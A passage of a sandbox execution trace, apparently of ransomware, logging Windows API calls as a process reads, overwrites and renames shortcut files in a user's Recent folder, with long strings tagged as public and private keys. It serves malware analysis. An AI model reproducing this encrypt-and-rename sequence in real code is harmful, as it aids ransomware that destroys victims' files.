lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.247] GetCurrentThreadId () returned 0xa30 [0081.247] GetCurrentThreadId () returned 0xa30 [0081.247] GetCurrentThreadId () returned 0xa30 [0081.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DxP-tIBe7AmaJ6pj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxp-tibe7amaj6pj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.247] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.247] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.247] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x9b8 [0081.247] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.247] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x9b8, lpOverlapped=0x0) returned 1 [0081.248] CloseHandle (hObject=0x124) returned 1 [0081.248] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DxP-tIBe7AmaJ6pj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxp-tibe7amaj6pj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.249] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x9b8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x9b8, lpOverlapped=0x0) returned 1 [0081.250] CloseHandle (hObject=0x124) returned 1 [0081.265] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DxP-tIBe7AmaJ6pj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxp-tibe7amaj6pj.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DxP-tIBe7AmaJ6pj.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dxp-tibe7amaj6pj.lnk.zv7un")) returned 1 [0081.269] GetCurrentThreadId () returned 0xa30 [0081.269] GetCurrentThreadId () returned 0xa30 [0081.269] GetCurrentThreadId () returned 0xa30 [0081.269] GetCurrentThreadId () returned 0xa30 [0081.269] GetCurrentThreadId () returned 0xa30 [0081.269] GetCurrentThreadId () returned 0xa30 [0081.269] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe312db80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe312db80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe312db80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="DZvDv8 7hIh_Mu9Whp.lnk", cAlternateFileName="DZVDV8~1.LNK")) returned 1 [0081.269] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.269] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.269] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DZvDv8 7hIh_Mu9Whp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dzvdv8 7hih_mu9whp.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe312db80, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe312db80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe312db80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f)) returned 1 [0081.270] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DZvDv8 7hIh_Mu9Whp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dzvdv8 7hih_mu9whp.lnk")) returned 0x20 [0081.270] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DZvDv8 7hIh_Mu9Whp.lnk", dwFileAttributes=0x80) returned 1 [0081.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.271] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.272] GetCurrentThreadId () returned 0xa30 [0081.272] GetCurrentThreadId () returned 0xa30 [0081.272] GetCurrentThreadId () returned 0xa30 [0081.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.273] GetCurrentThreadId () returned 0xa30 [0081.273] GetCurrentThreadId () returned 0xa30 [0081.273] GetCurrentThreadId () returned 0xa30 [0081.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DZvDv8 7hIh_Mu9Whp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dzvdv8 7hih_mu9whp.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.273] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.273] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.273] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa8f [0081.273] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.273] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa8f, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa8f, lpOverlapped=0x0) returned 1 [0081.274] CloseHandle (hObject=0x124) returned 1 [0081.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DZvDv8 7hIh_Mu9Whp.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\dzvdv8 7hih_mu9whp.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.275] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa8f, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa8f, lpOverlapped=0x0) returned 1 [0081.277] CloseHandle (hObject=0x124) returned 1 [0081.285] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\DZvDv8 7hIh_Mu9Whp.lnk" (normalized: "c:\\users\\5p5nrgjn0js 